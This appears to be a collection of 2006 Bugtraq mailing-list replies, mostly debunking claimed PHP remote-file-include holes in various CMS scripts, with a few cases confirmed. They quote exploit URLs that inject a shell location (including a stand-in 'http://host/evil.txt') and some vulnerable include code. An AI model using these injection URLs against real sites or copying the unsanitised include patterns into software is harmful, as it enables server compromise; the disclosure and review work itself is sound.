this HTML appears AFTER the "calling abc()" string in
the web output, but it appears BEFORE that string in the raw
source...<br></b>
... finishing abc() - closing brace - fragment 2 ...<br>
<?php
  echo "... executing last statement in abc() ...<br>";
}
?>
... more HTML cruft between php tags ...<br>
<?php echo "... calling abc() ...<br>"; abc(); ?>
... at the end of the file ...<br>


From: do@not.spam
Sent: Wed 30. Aug 2006 00:28
This is no vulnerability.

$inc_path and $misc_inc_path and others get set by b2evo itself in /blogs/_conf/_advanced.php before they get used for "require()/include()".


From: Carsten Eilers ceilers-lists@gmx.de
Sent: Fri 1. Sep 2006 01:40
Hi,

h4ck3riran@yahoo.com schrieb am Tue, 29 Aug 2006 12:09:02 +0000:

><# ToendaCMS<= ( Remote File Include Vulnerabilities 
>
>
><# Script.............. : toendaCMS
>------------------------------------------------------------------------
>
>
>< # CodE : include($tcms_administer_site./tcms_global/database.php)
>
>
>< #Expolit :
>
>< #http://Www.Site.coM/[path]/index.php?tcms_administer_site=Sh3ll

This does not work, $tcms_administer_site is set before
the usage, see previous Bugtraq-Mails
<http://www.securityfocus.com/archive/1/443918/30/0/threaded>
and
<http://www.securityfocus.com/archive/1/444236/30/0/threaded>.


>< #http://Www.Site.coM/[path]/browse.php?tcms_administer_site=Sh3ll
>
>< #http://Www.Site.coM/[path]/print.php?tcms_administer_site=Sh3ll

In both scripts $tcms_administer_site is set to date
and after this no manipulation is possible, so there is
no vulnerability in this scripts.

>< #http://Www.Site.coM/[path]/setup/inc/database.php?
>tcms_administer_site=Sh3ll

This works, if some other parameters are set to suitable
values, since the vulnerable code is in two if-statements
which must be passed to include something.

>< # CodE :   require($tcms_administer_site./tcms_global/database.php)
>
>
>< #Expolit :
>
>< #http://Www.Site.coM/[path]/media.php?tcms_administer_site=Sh3ll

Oh oh... had you quoted only one (1) more line of code you
could see

$tcms_administer_site = data;
require($tcms_administer_site./tcms_global/database.php);

So your fine Sh3ll got overwritten with data, so there is
no vulnerability in this case, too.

>< #CodE:  include($site..php);
>
>
>< # Expolit :
>
>< # http://Www.Site.coM/[path]/setup/index.php?site=Sh3ll

This one is really nice. Again you should have quoted a
litte bit more code. The include happens in a switch-
statement:

switch($site){
  case language:
    include($site..php);
    break;

  default:
    include(inc/.$site..php);
    break;
}

Since you set $site to your Sh3ll the switch() will run in
the default-branch, so we get

include(inc/Sh3ll.php);

Its a little bit hard to get something useful out of this:
http:// wont work, so you could only do some directory
traversal with ../-sequences. But than you run in the .php
at the end. Result: Inclusion of an arbitrary .php-file 
on the server. But most times this could be called direct
without the usage of a directory traversal.

Since we have one remote file inclusion (that one in
setup/inc/database.php) this directory traversal is nearly
useless.

Regards
  Carsten

-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>




From: satalin satalin@gmail.com
Sent: Sat 2. Sep 2006 21:46
stormhacker@hotmail.com wrote:

> 
> -----------------Description---------------
> 
> 
> $cutepath =  __FILE__;
> 
> $cutepath = preg_replace( "\search.php", "", $cutepath);
> 
> $cutepath = preg_replace( "/search.php", "", $cutepath);
> 
> 
> require_once("$cutepath/inc/functions.inc.php");
> 
> 
> --------------PoC/Exploit----------------------
> 
> 
> show_news.php?cutepath=http://host/evil.txt?
> 
> search.php?cutepath=http://host/evil.txt?
> 

$cutepath =  __FILE__;

$cutepath is set to scripts working directory, so you can not set it 
manually.

> --------------Solution---------------------
> 
> 
> No Patch available.
> 
> 
As no needed? ;)


Greets,
satalin


From: Carsten Eilers ceilers-lists@gmx.de
Sent: Wed 13. Sep 2006 12:46
Hi,

l0x3@hotmail.com schrieb am Sun, 10 Sep 2006 17:19:00 +0000:

>+-------------------------------------------------------------------
>
>+ Affected Software .: Software
>
>+ Version .............: PHP Advanced Transfer Manager v1.20
>
>+ Venedor ...........:   http://phpatm.free.fr/
>
>+ Class .............: Remote File Inclusion
>
>+ Risk ..............: High (Remote File Ex3cut1on)
>
>+ Discovered by ..........: Eddy_BAck0o
>
>+ Contact ...........: l0x3[at]hotmail.com ; www.LEzr.com/vB
>
>+--------------------------------------------------------------------
>
>~ [Login.php]

There is no Login.php, this must be login.php...

>+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
>+ include($include_location.include/conf.php);
>
>+ include($include_location.include/common..$phpExt);
>
>+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

... and there we have

v 1.20:
$include_location = $HTTP_SERVER_VARS
[DOCUMENT_ROOT].dirname($HTTP_SERVER_VARS[PHP_SELF])."/";


v 1.30:
$include_location = dirname($HTTP_SERVER_VARS[SCRIPT_FILENAME])."/";

Looks like an initialization, if my eyes are not to bad. ;-)

Same with all other reported files.


If there is no way to manipulate the used HTTP_SERVER_VARS
there is no way to include something.
For sure not via $include_location.

Lets take a look at the PHP-Manual:
<http://www.php.net/manual/en/reserved.variables.php>

* DOCUMENT_ROOT
     The document root directory under which the current 
     script is  executing, as defined in the servers 
     configuration file.

I guess if an attacker can manipulate the servers 
configuration file you have much more to worry about
as a remote file inclusion. :-)

* PHP_SELF
       The filename of the currently executing script, 
       relative to  the document root.

* SCRIPT_FILENAME
       The absolute pathname of the currently executing script.

If one of them can be manipulated from remote, than that 
may be a vulnerability in PHP or the webserver, but not 
in the PHP-scripts.
So there is no vulnerability.

Regards
  Carsten

-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>




From: Carsten Eilers ceilers-lists@gmx.de
Sent: Thu 14. Sep 2006 07:37
Hi,

(M.o.H.a.J.a.L.i) schrieb am Thu, 14 Sep 2006 02:17:53 +0300:

>Have You Tried it before commenting???

Of course, and include_location is initialized in 1.20
and 1.30.

>we know it has been initialized but it weirdly works...

Which PHP/Webserver/System?

Maybe it depends on special versions?

I used PHP 4.3.10, Apache 1.3.33, Mac OS X 10.3.9.

>try it then judge...

BTDT.

Regards
  Carsten

-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>




From: "Steven M. Christey" coley@mitre.org
Sent: Thu 14. Sep 2006 18:47
l0x3@hotmail.com,

There have been many vulnerability reports like this, and they dont
seem to make sense.

You are the first one to say that you actually tested it, and it
worked.  Because you called it weird, you also clearly understand
that this does not make sense.

Maybe its a bug in a very specific version or distribution of PHP.
If so, then it is a very serious bug.  But clearly, it is not in most
distributions of PHP, because many people can not reproduce it.

So, thats why it is important for you to tell us the PHP version, the
web server and version, operating system (maybe even hardware), and
all output from phpinfo().  If theres really a problem, it could be
anywhere.


Thank you,
Steve

P.S. my personal bet is a concurrency/threading error when there are a
few simultaneously loaded modules on a 64-bit multi-processor machine
and only supporting certain non-English languages.  *if* theres
really a problem :)


From: eddy BAck0o eddy_back0o@hotmail.com
Sent: Fri 15. Sep 2006 00:04
I Certainly sent a report about the presence of a security error ; they know 
from before ; but its was working on all releases version 1.20 either No. 
issuing the new version, which has not been the bug security by No. 1.30 
patchwork and The owners of this program knows where the error in the 
determination of the changing ; make sure by google it ; research on the 
issues which frequently broad that it had not been warned, but were 
satisfied by the issuance version of without a new security warning to their 
clients about it !!!!

HEre The Vedio Can be judge ....

http://rapidshare.de/files/33149191/Php-Advanced-Eddy.zip

Eddy_BAck0o
www.LEzr.com/vB

_________________________________________________________________
Dont just search. Find. Check out the new MSN Search! 
http://search.msn.com/



From: Carsten Eilers ceilers-lists@gmx.de
Sent: Mon 18. Sep 2006 11:56
Hi,

erne@ernealizm.com schrieb am Thu, 14 Sep 2006 23:01:18 +0000:

>#  mcLinksCounter v1.1 - Remote File Include Vulnerabilities
># site    : http://www.comscripts.com/jump.php=3Faction=3Dscript&id=3D847

Homepage: <http://www.phpforums.net/index.php=3Fdir=3Ddld>

># Vulnerable :
>     http://www.site.com/[path]/login.php=3Flangfile=3D[shell]
>     http://www.site.com/[path]/stats.php=3Flangfile=3D[shell]
>     http://www.site.com/[path]/detail.php=3Flangfile=3D[shell]
>     http://www.site.com/[path]/erase.php=3Flangfile=3D[shell]

In all of these scripts we have

| include "mclc.php";
|=A0include "$langfile";

and in mclc.php we have

| $langfile=3D"english.php";

So $langfile is initialized and there is no way to change it.
Same for Version 1.2 from the Homepage.
Result: No vulnerability.

Where did you tested this=3F
If you found vulnerable servers, the phpconfig() of these
could be helpful.

Regards
  Carsten

-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>




From: Craig Morrison craig@fishpalace.org
Sent: Mon 18. Sep 2006 22:43
D3nGeR@Gmail.CoM wrote:
> Vendor: Plume CMS 1.1.10
> 
> Found By : D3nGeR
> 
> Scripit Site : http://plume-cms.net
> 
> 
> 
> in file [prepend.php]
> 
> 
> 
> ;
> 
> include_once $_PX_config[manager_path]./inc/class.config.php
> 
> 
> 
> code
> 
> http://site.com/[path]manager/frontinc/prepend.php?_PX_config[manager_path]=[shell code ]
> 

You cant call prepend.php in that path directly, its protected by:

   if (basename($_SERVER[SCRIPT_NAME]) == prepend.php) exit;

In config.php $_PX_config[manager_path] is explicitly set.. And while 
not included in prepend.php, that file is included in others before 
access, so there is no vulnerability..

-- 
Craig Morrison
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
http://pse.2cah.com
   Controlling pseudoephedrine purchases.

http://www.mtsprofessional.com/
   A Win32 email server that works for You.


From: =?iso-8859-1?Q?H=E4ussler=2C_Christian?= Christian.Haeussler@huk-coburg.de
Sent: Wed 20. Sep 2006 07:25
Hello,

the same problem is in the File image_upload.php:
http://website.com/components/com_simpleboard/image_upload.php?sbp=3D[evi=
l_script]

Best Regards,
Christian Haeussler


-----Urspr=FCngliche Nachricht-----
Von: stormhacker@hotmail.com [mailto:stormhacker@hotmail.com]=20
Gesendet: Sonntag, 10. September 2006 00:56
An: bugtraq@securityfocus.com
Betreff: SimpleBoard Mambo Component 1.1.0 Remote File Include

[W]orld [D]efacers Team

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

--------------------Summary----------------

eVuln ID: WD23

Vendor:  SimpleBoard Mambo Component 1.1.0

Vendors Web Site: mamboxchange.com/projects/simpleboard

Class: Remote

PoC/Exploit: Available

Solution: Not Available

Discovered by: rUnViRuS (worlddefacers.de)

-----------------Description---------------

require_once("$sbp/sb_helpers.php");


--------------PoC/Exploit----------------------

http://website.com/components/com_simpleboard/file_upload.php?sbp=3D[evil=
_script]

--------------Solution---------------------

No Patch available.

--------------Credit-----------------------

Discovered by: rUnViRuS (worlddefacers.de)


From: Carsten Eilers ceilers-lists@gmx.de
Sent: Wed 20. Sep 2006 23:12
Hi,

erne@ernealizm.com schrieb am Fri, 15 Sep 2006 21:37:15 +0000:

>#  HitWeb v3.0 - Remote File Include Vulnerabilities
>
># site    : http://www.comscripts.com/jump.php?action=script&id=12
>
># Vulnerable :
>
>         http://www.site.com/[path]/index.php?REP_CLASS=[shell]

$REP_CLASS is initialized in conf/hitweb.conf, which is
included at the top of this script. After that there is
no manipulation possible, so there is no vulnerability.

Same for the other reported scripts.

Where did you tested this?
If you found vulnerable servers, the phpconfig() of these
could be helpful.

Regards
  Carsten

-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>




From: Carsten Eilers ceilers-lists@gmx.de
Sent: Wed 20. Sep 2006 23:12
Hi, 

azzcoder@hotmail.com schrieb am Mon, 18 Sep 2006 03:28:06 +0000:

>Vendor: http://www.pnphpbb.com/

This leads to the download of
<http://noc.postnuke.com/frs/download.php/1089/PNphpBB2_1.2i.tar.gz>

It this the version where you found the vulnerable file?

>Vulnerable File: includes/functions_admin.php
>
>Vulnerable Code:
>
>include_once( $phpbb_root_path . includes/functions. . $phpEx );

In the includes/functions_admin.php I found in the 
downloaded archiv is no include_once()-call, no
use of $phpbb_root_path and if I looked right no
executeable code, since the script only consist of
function-declarations.

So in this script is no vulnerability.

Where did you find the vulnerable script/programm?

Regards
  Carsten

-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>




From: Carsten Eilers ceilers-lists@gmx.de
Sent: Thu 21. Sep 2006 10:38
Hi Nicolas,

Nicolas . schrieb am Wed, 20 Sep 2006 20:15:52 -0300:

>>azzcoder@hotmail.com schrieb am Mon, 18 Sep 2006 03:28:06 +0000:
>>
>> >Vendor: http://www.pnphpbb.com/
>>
>>This leads to the download of
>><http://noc.postnuke.com/frs/download.php/1089/PNphpBB2_1.2i.tar.gz>
>>
>>[...]
>>
>>So in this script is no vulnerability.
>>
>>Where did you find the vulnerable script/programm?
>
>That isnt the script that I found the bug..
>The script is
>http://prdownloads.sourceforge.net/pnphpbb2/PNphpBB2_12g.tar.gz?download

This version is indeed vulnerable.

But your (latest) in the subject is wrong, latest version
is 1.2i from 2006-06-10, and these is not vulnerable. 
But at least version 1.2g (from 2004-11-10) is vulnerable.

In 1.2h_RC3b (from 2005-06-06) the direct call of the script
is impossible:

|   if (!defined("LOADED_AS_MODULE")) { 
|            die ("You cant access this file directly..."); 
|   } 

But there is no include() anymore.

Older versions not tested.

Regards
  Carsten

-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>




From: Carsten Eilers ceilers-lists@gmx.de
Sent: Thu 21. Sep 2006 18:57
Hi str0ke,

str0ke schrieb am Thu, 21 Sep 2006 11:16:20 -0500:

>The vulnerability is in version 1.2g and below.

I know (now):
After azzcoder send me a direct mail this morning I 
looked at the version he tested, which is 1.2g.
His "(Latest)" in the subject leads me to the actual
version, 1.2i, which is not vulnerable.

My answer to him was send also to Bugtraq, but it
seems as if it was to late to stop/change my previous
mail.

>Source code :
>http://prdownloads.sourceforge.net/pnphpbb2/

Thats a funny solution from PNphpBB: If I want to
download from their Homepage (with the link at the
top right) they send me to
<http://noc.postnuke.com/frs/?group_id=374>
instead of their own Sourceforge-Page. And there
is no other version than 1.2i.

After azzcoder send me the link to the Sourceforge-
Download I found the older versions. 
But if Im right than there is no direct link from 
<http://www.pnphpbb.com/> to Sourceforge, so I would
never looked there.

Regards
  Carsten

-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>




From: str0ke str0ke@milw0rm.com
Sent: Thu 21. Sep 2006 11:16
Carsten,

The vulnerability is in version 1.2g and below.

Source code :
http://prdownloads.sourceforge.net/pnphpbb2/

Vulnerability:
<?php
/***************************************************************************
 *                            functions_admin.php
 *                            -------------------
 *   begin                : Saturday, Feb 13, 2001
 *   copyright            : (C) 2001 The phpBB Group
 *   email                : support@phpbb.com
 *
 *   $Id: functions_admin.php,v 1.2 2004/08/29 21:59:05 carls Exp $
 *
 *
 ***************************************************************************/

/***************************************************************************
 *
 *   This program is free software; you can redistribute it and/or modify
 *   it under the terms of the GNU General Public License as published by
 *   the Free Software Foundation; either version 2 of the License, or
 *   (at your option) any later version.
 *
 *
 ***************************************************************************/
// Begin PNphpBB2 Categories Hierarchie Mod
include_once( $phpbb_root_path . includes/functions. . $phpEx );

Best Regards,
/str0ke


From: "Steven M. Christey" coley@mitre.org
Sent: Mon 2. Oct 2006 18:42
These vectors were previosuly reported in June 2006 (CVE-2006-2860) by
Kacper in a milw0rm post (http://milw0rm.com/exploits/1871), for
version 3.0.1.

>> Www.Site.coM/[Path]/inc/mainheder.inc.php

This appears to be a mis-spelling of "mainheader.inc.php".

- Steve


From: kevin@tux.appstate.edu
Sent: Wed 11. Oct 2006 00:19
This is a falsified vulnerability. PHPWS_SOURCE_DIR and PHPWS_HOME_DIR are defined constants, not variables, and passing values in the URL has no effect on their value inside phpWebSite.


From: str0ke str0ke@milw0rm.com
Sent: Wed 11. Oct 2006 14:55
> Exploit
> gcards/admin/addnews.php?languagefile=shell code

gCards Version 1.13
http://www.gregphoto.net/gcards/index.php

22 include_once(../config.php);			# the variable is defined
23 include_once(../inc/UIfunctions.php);	# no variable change
24 include_once(loginfunction.php);		# just a couple functions
25 include_once(../inc/smileyClass.php);	# just a single class
26 include_once("../inc/".$languageFile);	# the only include with $languageFile

$languageFile is defined on line 93 of config.php, by default to
"language_en.php"

Maybe im missing where the vulnerability is?

/str0ke


From: xorontr@gmail.com
Sent: Sat 14. Oct 2006 09:41
this isnt a Vuln.

because

in admin/linklists.admin.php 

line 6,

$pathtoscript = "../";

veriable is defined:)

xoron


From: str0ke str0ke@milw0rm.com
Sent: Wed 18. Oct 2006 16:23
> On 18 Oct 2006 11:58:05 -0000, CarcaBotx@yahoo.com <CarcaBotx@yahoo.com> wrote:
> PHPRecipeBook <= 2.35 ((g_rb_basedir)) Remote File Include Exploit

The original author is r0ut3r <writ3r [at] gmail.com>

http://www.milw0rm.com/exploits/2584

His coding style matches up with the rest of his work.

http://www.milw0rm.com/exploits/2563
http://www.milw0rm.com/exploits/2534

/str0ke


From: neothermic@phpbb.com
Sent: Wed 18. Oct 2006 21:48
phpBB 2.0.10 was released on the 16th of July 2004, making it well over two years old. We are currently on version 2.0.21.

A quick check of the indicated file with the 2.0.10 tags in CVS shows that it is not vulnerable to this attack. Line 24 (which is the second line past the comment block) is $phpbb_root_path = ./;
(See: http://phpbb.cvs.sourceforge.net/phpbb/phpBB2/groupcp.php?revision=1.58.2.21&view=markup&pathrev=release_2_0_10 )

Walking backwards through the CVS versions shows that this has never been possible with any version of groupcp.php from 2.0.0 to latest.

I would encourage anyone finding a possible vulnerability in phpBB to report it properly at our security tracker ( http://www.phpbb.com/security/ ), or e-mail it to security at phpbb.com

NeoThermic
phpBB Support Team, Audit Team and Incident Investigation Team Member


From: theif@gmail.com
Sent: Thu 19. Oct 2006 11:55
You sad pos, r0ut3r posted this ages ago!
contact here writ3r@gmail.com
proof here http://milw0rm.com/exploits/2584
nuff said tool


From: "J. Carlos Nieto" xiamkong@yahoo.com.mx
Sent: Tue 24. Oct 2006 08:50
On Mon, 2006-10-23 at 16:30 +0000, crackers_child@sibersavascilar.com 

> <?php
> 
> require_once ./config.php;
> require_once SMARTY_DIR . Smarty.class.php;
> require_once PHPUnit.php;

SMARTY_DIR is a constant, isnt it?

> 
> 
> http://www.site.com/Smarty-2.6.14/unit_test/test_cases.php?SMARTY_DIR=Sh3ll?
> 

But you are passing a variable with value "Sh3ll".

And since variable != constant it wont work, at least in the piece of
code you gave us.

Where is the bug?

-- 
La civilización no suprime la barbarie, la perfecciona. -Voltaire
http://xiam.underlife.org

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ¡gratis! 
Regístrate ya - http://correo.yahoo.com.mx/ 


From: Mailinglists Address mailinglist@expresshosting.net
Sent: Tue 24. Oct 2006 16:38
>
> www.site.com/adobe_php_sdk_path/libraries/amfphp/amf-core/custom/CachedGateway.php?AMFPHP_BASE=sh3ll?_
>
>
>
>   
All of these reports are bogus (Smarty 2.6.1, CSLH2), as the original
poster obviously does not understand how constants work.

As taken from the PHP manual:

"Constants may only be defined using the *define()*
<http://us3.php.net/manual/en/function.define.php> function, not by
simple assignment;"




From: emme0032@umn.edu
Sent: Sat 28. Oct 2006 01:48
Sorry this report is bogus..
the only require/include statement that utilizes that variable is line 188:
require(phpAds_path./libraries/layerstyles/.$layerstyle./layerstyle.inc.php);

The only possibility is local file include, with null byte bug in php interpreter.

But local file include is thwarted with a regular expression.


From: simo@morx.org
Sent: Sat 28. Oct 2006 16:59
Already reported a year ago by Maksymilian Arciemowicz.

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2635
http://www.securityfocus.com/bid/14584
http://securityreason.com/achievement_securityalert/21

> Sorry this report is bogus..
> the only require/include statement that utilizes that variable is line
> 188:
> require(phpAds_path./libraries/layerstyles/.$layerstyle./layerstyle.inc.php);
>
> The only possibility is local file include, with null byte bug in php
> interpreter.
>
> But local file include is thwarted with a regular expression.
>


-- 
Simo Ben youssef
MorX Security Research Team
www.morx.org


From: Francesco Laurita francesco@francesco-laurita.info
Sent: Mon 30. Oct 2006 19:12
firewall1954@hotmail.com ha scritto:
> Affected software description :
> Application : CentiPaid
> version : 1.4.3
> URL : http://www.centipaid.com/centi/download/centipaid_php-1.4.3.tar.gz
>
> Code:centipaid_class.php
>
> include($class_pwd./adodb/adodb.inc.php)
>
>   
One line above:
$class_pwd = dirname(__FILE__);

$class_pwd is setted before include();

Mark it as bogus please
Regards


From: Tamriel tamriel@gmx.net
Sent: Mon 30. Oct 2006 15:14
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Open your eyes ...

[...]
$class_pwd = dirname(__FILE__);
include($class_pwd./adodb/adodb.inc.php);
[...]


firewall1954@hotmail.com wrote:
> Affected software description :
> Application : CentiPaid
> version : 1.4.3
> URL : http://www.centipaid.com/centi/download/centipaid_php-1.4.3.tar.gz
> 
> Code:centipaid_class.php
> 
> include($class_pwd./adodb/adodb.inc.php)
> 
> 
> Exploit:
> 
> http://www.site.com/[path]/centipaid_class.php?class_pwd=[Evil_Script]
> 
> 
> 


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (MingW32)

iD8DBQFFRms/qBhP+Twks7oRCmA+AJ9MZ8/oen+XweCTeu+JUkNwMj6yKwCeLBtI
ymKeLFWvP+Ijso6+drkEAIg=
=4su3
-----END PGP SIGNATURE-----



From: Francesco Laurita francesco@francesco-laurita.info
Sent: Mon 30. Oct 2006 22:16
firewall1954@hotmail.com ha scritto:
> ####################### Firewall #########################
>       Nucleus Core v3.23 - Remote File Include by Firewall
>                 Latin  American  Defacers
>                   BuG FounD by Firewall
>
> # Application Affect:
>   Nucleus Core v3.23
>
> # Sorce Code:             
>           http://prdownloads.sourceforge.net/nucleuscms/nucleus3.23.zip?download
>
> # Code:
>    include($DIR_LIBS . MEDIA.php);
>   
Bogus!
$DIR_LIBS is setted in config.php that is included one line above


From: simo64@morx.org
Sent: Tue 7. Nov 2006 03:35
in admin.php we have

..........
$include_path = dirname(__FILE__); // <== 
require_once $include_path."/admin/config.inc.php";
require_once $include_path."/lib/$DB_CLASS";
...........

At line 21 the variable $include_path is setted as dirname(__FILE__) so remote file inclusion is not possible :)

Regards


From: navairum@gmail.com
Sent: Tue 14. Nov 2006 14:48
This is bogus, about 5-10 lines above it includes a file which declares $pathToFiles.

include (./setup_options.php);


if(!isset($startIndex)) $startIndex=$indexphp;
if(!isset($manualIndex)) $manualIndex=$indexphp.action=manual;

$langOrig=$lang;

$indexphp=(!isset($GLOBALS[indexphp])?index.php:$GLOBALS[indexphp]);
if(!isset($manualIndex)) $manualIndex=$indexphp.action=manual;
if(isset($mod_rewrite) and $mod_rewrite) $queryStr=str_replace(array(%3D0%26mdrw%3Don, &amp;mdrw=on), , $queryStr);

if($useSessions) { 
$sessname=ini_get(session.name);
if($sessname==) $sessname=PHPSESSID;
session_start();
if(!isset($$sessname)) { $indexphp.=SID.&; $bb_admin.=SID.&; } else { $indexphp.="{$sessname}=".$$sessname.&; $bb_admin.="{$sessname}=".$$sessname.&; }
}

include ($pathToFiles.setup_.$DB..php);
include ($pathToFiles.bb_cookie.php);
include ($pathToFiles.bb_functions.php);
include ($pathToFiles.bb_specials.php);




From: Stefano Zanero s.zanero@securenetwork.it
Sent: Fri 17. Nov 2006 20:17
the_3dit0r@yahoo.com wrote:

> # CodE : 
>   require_once(themes/ . $blog_theme . /user_style.php);

Bogus...

> # Expl0itS : 
>  http://Site/[path]/index.php?DIR_PLUGINS=[shell_script]

Bogus, initialized in config file included

>  http://Site/[path]/install.php?DIR_LIBS=[shell_script]

Bogus, initialized before being used

>  http://Site/[path]/admin/libs/ADMIN.php?DIR_LIBS=[shell_script]
>  http://Site/[path]/admin/libs/globalfunctions.php?DIR_LIBS=[shell_script]
>  http://Site/[path]/admin/libs/MEMBER.php?DIR_LIBS=[shell_script]
>  http://Site/[path]/admin/libs/PLUGINADMIN.php?DIR_LIBS=[shell_script]
>  http://Site/[path]/admin/libs/SKIN.php?DIR_LIBS=[shell_script]

Classes and functions, that for what I see cannot be called like that.

Stefano


From: Stefano Zanero s.zanero@securenetwork.it
Sent: Fri 17. Nov 2006 20:23
> # CodE : 
>   include $configuration->language_file;

Initialized above by including class_configuration.php. Bogus !

Stefano


From: Stefano Zanero s.zanero@securenetwork.it
Sent: Sat 18. Nov 2006 19:08
Firewall1954@hotmail.com wrote:

> # Phpjobscheduler 3.0  - Multiple Remote File Include by Firewall

Bogus

> # Code:
>                    include_once($installed_config_file)

include_once("functions.php"); some lines above includes a file which
statically sets that variable, so

> # ExPloit :

None of these work.

Please stop reporting bogus vulnerabilities ! Thanks !

Stefano


From: str0ke str0ke@milw0rm.com
Sent: Sat 18. Nov 2006 15:48
On 11/18/06, Stefano Zanero <s.zanero@securenetwork.it> wrote:
> Firewall1954@hotmail.com wrote:
>
> > # Phpjobscheduler 3.0  - Multiple Remote File Include by Firewall
>
> Bogus
>
> > # Code:
> >                    include_once($installed_config_file)
>
> include_once("functions.php"); some lines above includes a file which
> statically sets that variable, so
>
> > # ExPloit :
>
> None of these work.
>
> Please stop reporting bogus vulnerabilities ! Thanks !
>
> Stefano
>

$installed_config_file = "config.inc.php";
if ($_REQUEST) foreach ($_REQUEST AS $key => $value) $$key = $value;

The line below the variable being defined is what makes this vulnerable.

Be safe,
/str0ke


From: admin@dwalker.co.uk
Sent: Tue 21. Nov 2006 17:29
Indeed!  It could offer a potential exploit.

I have released a patched version here:
http://www.dwalker.co.uk/forum/viewtopic.php?t=493

Firewall1954 (at) hotmail (dot) com - it is/would have been good practice to contact the developer (me) before publishing your find.
If you had approached me with the find like Philipp Niedziela did so a few months ago you would have received public credit for the find:
http://www.dwalker.co.uk/forum/viewtopic.php?t=517


From: webmaster@phpbb-es.com
Sent: Thu 23. Nov 2006 18:55
Fixed in oficial site.
http://www.phpbbxs.eu


From: Mefisto@Hackermail.Com
Sent: Fri 24. Nov 2006 10:22
its not Remote .)

because DEFINE ;D


From: Francesco Laurita francesco@francesco-laurita.info
Sent: Mon 27. Nov 2006 21:49
philip anselmo ha scritto:
> Vulnerable Code:
> ***************
> require_once("$cutepath/inc/functions.inc.php");
> require_once("$cutepath/data/config.php");
>
> affected file: search.php & show_news.php & show_archives.php
> ----------------------------------------------------------------------
Please mark it as bogus.
$cutepath is defined some lines above:

$cutepath =  __FILE__;

Regards


From: raven locrideweb@libero.it
Sent: Tue 28. Nov 2006 11:58
The question is:
Why who "find" a vuln, not check that is a really vuln ?
Send faked vuln advisory is stupid and useless...for me... Bugtraq is a 
security mailinglist and there who post need to guarantee that is a real 
mistake. I cant believe that everytime that anyone send something, 
another person, write: "Is a bogus" "Not is a real vulnerability" or 
something like this...
Posters, check what you find, before send here.
Regards,
Francesco Vollero


philip anselmo ha scritto:
> Title : CuteNews v1.4.5 (search.php) Remote file include
> ########################################################################
> #######
>
> Discovered By :::: ThE-LoRd-Of-CrAcKiNg {MeHdi}
>
> ------------------------------------------------------------------------
> Sorce Code:
> **********
> http://cutephp.com/
>
> Affected software description :
> ******************************
> vendor site: http://cutephp.com/
> Application : CuteNews v1.4.5
> Catégorie :Remote File Include
> ------------------------------------------------------------------------
> Vulnerable Code:
> ***************
> require_once("$cutepath/inc/functions.inc.php");
> require_once("$cutepath/data/config.php");
>
> affected file: search.php & show_news.php & show_archives.php
> ----------------------------------------------------------------------
> Exploit:
> *******
> http://www.VicTim.com/[Script_Path]/show_archives.php?cutepath=Shell.txt?
> http://www.VicTim.com/[Script_Path]/show_news.php?cutepath=Shell.txt?
> http://www.VicTim.com/[Script_Path]/search.php?cutepath=Shell.txt?
>
> ------------------------------------------------------------------------
> ----
>
> greetz: 
> Studio36-DeStRoY-ToOoFA-AsbMay-Mr.3freet-Simba-Disco-Faiçeu-YouSSeF-all 
> my friends
>
> Special Greeting:AsbMays Group & TrYaG TeaM
>
> channel:www.asb-may.net & www.tryag.com
>
> contact:spoonman500[at]hotmail[dot]com / ThE-LoRd-Of-CrAcKiNg@hotmail.com
>
> _________________________________________________________________
> MSN Messenger : discutez en direct avec vos amis ! 
> http://www.msn.fr/msger/default.asp
>
> .
>



From: Stuart Moore smoore.bugtraq@securityglobal.net
Sent: Wed 29. Nov 2006 16:43
Systems that install 1.5.1 (fresh install rather than upgrade) should 
not be vulnerable.

"philip anselmo" wrote:

> Vulnerable Code:
> ***************
> include $path_to_calendar."calendar.php";


Looking at the few lines prior to that:

   extract($HTTP_GET_VARS);
   if(!@include ./data/global.php){
	  echo "Cant open ./data/global.php";
	  exit;
   }

   extract($PATHS);
   include $path_to_calendar."calendar.php";


After successfully running install.php, the data/global.php file
will contain something like this:

   $PATHS=array(
   "path_to_calendar" => "/[blah]/cl_files/",
   "path_to_calendar_img" => "/[blah]/cl_files/img/",
   "WEB_path_to_calendar_img" => "http://[site]/[blah]/cl_files/img/",
   "path_to_data" => "/[blah]/cl_files/data/"
   );


The include statement will use "/[blah]/cl_files/" instead of the 
user-supplied parameter in $HTTP_GET_VARS.

And, indeed, testing confirms that the static parameter is used and that
the reported exploit URL does not work.

Systems that have been upgraded from an earlier version in an improper
manner may be a different story.

Stuart





From: Laurent.van_den_reysen@tiscali.fr
Sent: Wed 13. Dec 2006 09:40
With the version 3.04 this security issue is fixed

download and try it: http://worksystem.sourceforge.net

best regards
Laurent


From: Stuart Moore smoore.bugtraq@securityglobal.net
Sent: Tue 26. Dec 2006 18:33
Hi,

 > www.Example.com/[Lucky]/run.php?dir=SHELL?&file=
 > www.Example.com/[Lucky]/classes/ircbot.class.php?dir=SHELL?&file=

In run.php, the include statement (  include_once $dir . $file; ) is 
within a function:

   include_dir($dir)

